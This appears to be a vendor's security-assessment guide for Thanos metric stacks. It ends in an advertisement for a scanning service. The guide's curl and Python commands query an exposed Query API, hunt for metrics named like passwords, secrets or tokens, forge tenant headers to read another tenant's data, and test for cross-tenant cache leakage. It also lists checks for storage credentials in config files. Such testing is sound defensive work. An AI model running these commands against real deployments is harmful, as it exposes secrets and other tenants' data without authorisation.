Thanos extends Prometheus with long-term metric storage, global query view, and multi-tenancy via the thanos-receive hash ring. Its components (Query, Query Frontend, Store, Receive, Ruler, Compactor, Sidecar) each expose HTTP and gRPC endpoints. Security concerns include: Thanos Query's HTTP API on port 10902 exposing all tenants' metrics without authentication when not behind a proxy, multi-tenant isolation relying solely on the THANOS-TENANT HTTP header that is trivially forged, the Thanos Store gRPC API providing access to historical metrics from object storage, Thanos Ruler's --rule.files configuration being injectable from remote paths, and object storage credentials (S3, GCS, Azure) hardcoded in Thanos configuration files. This guide covers systematic Thanos security assessment.
# Thanos Query HTTP API: port 10902
# Exposes full PromQL query interface to all metrics from all connected stores
# Check Thanos Query API accessibility
curl -s "http://thanos-query.example.com:10902/-/healthy" 2>/dev/null
# Returns "Thanos Query is Healthy." = API accessible
# Execute PromQL query reading all metrics
curl -s "http://thanos-query.example.com:10902/api/v1/query?query=up" 2>/dev/null | \
python3 -c "
import json,sys
r = json.load(sys.stdin)
results = r.get('data',{}).get('result',[])
print(f'Metrics accessible: {len(results)}')
for m in results[:5]:
print(f\" Job: {m.get('metric',{}).get('job','?')} instance: {m.get('metric',{}).get('instance','?')}\")
"
# Query for sensitive metrics — application secrets sometimes scraped
curl -s "http://thanos-query.example.com:10902/api/v1/query?query={__name__=~'.*password.*|.*secret.*|.*token.*|.*key.*'}" \
2>/dev/null | python3 -m json.tool | head -20
# Get all available metric names (information disclosure)
curl -s "http://thanos-query.example.com:10902/api/v1/label/__name__/values" \
2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
names = r.get('data',[])
print(f'Metric names: {len(names)}')
# Look for metrics that hint at internal services
sensitive = [n for n in names if any(s in n.lower() for s in ['db','sql','redis','kafka','secret'])]
print(f'Sensitive-looking names: {sensitive[:10]}')
"
# Thanos multi-tenancy via thanos-receive uses THANOS-TENANT HTTP header
# If the header enforcement is at a proxy layer, it may be bypassable
# Query with forged tenant header
curl -s "http://thanos-query.example.com:10902/api/v1/query?query=up" \
-H "THANOS-TENANT: other-tenant-id" 2>/dev/null | \
python3 -c "
import json,sys
r = json.load(sys.stdin)
results = r.get('data',{}).get('result',[])
print(f'Results for tenant: {len(results)}')
for m in results[:3]:
print(m.get('metric',{}))
"
# Try reading another tenant's metrics by manipulating label selectors
curl -s "http://thanos-query.example.com:10902/api/v1/query?query={tenant_id='victim-tenant'}" \
2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
results = r.get('data',{}).get('result',[])
print(f'Cross-tenant results: {len(results)}')
"
# Thanos Query Frontend caching bypass
# Cache poisoning: race condition where cached response for tenant A
# is served to tenant B if query is identical
curl -s "http://thanos-queryfrontend.example.com:9090/api/v1/query_range?query=up&start=...&end=...&step=60" \
-H "THANOS-TENANT: tenant-a" 2>/dev/null | head -5
# Immediately query with different tenant
curl -s "http://thanos-queryfrontend.example.com:9090/api/v1/query_range?query=up&start=...&end=...&step=60" \
-H "THANOS-TENANT: tenant-b" 2>/dev/null | head -5
# If responses are identical, cache is not tenant-scoped
| Security Test | Method | Risk |
|---|---|---|
| Thanos Query API unauthenticated access | curl :10902/api/v1/query?query=up — returns all tenants' metrics | Critical |
| Tenant header forging for cross-tenant data access | Query with arbitrary THANOS-TENANT header value | High |
| Store gRPC port accessible without auth | grpc_cli call :10901 thanos.Store/Info | High |
| Object storage credentials in config | Read Thanos config files for S3/GCS/Azure credentials | High |
| Metrics containing secrets (label injection) | Query {__name__=~".*secret.*|.*token.*"} via PromQL | Medium |
| Query Frontend cache without tenant key | Race two tenants with identical queries — check if results match | Medium |
Ironimo tests Thanos deployments for unauthenticated Query API access exposing all tenants' metrics, multi-tenant isolation bypass via THANOS-TENANT header forging, Store gRPC API exposure, Ruler rule injection, object storage credential exposure in configuration, Query Frontend cache poisoning for cross-tenant data leakage, and metrics containing sensitive labels scraped from misconfigured applications.
Start free scan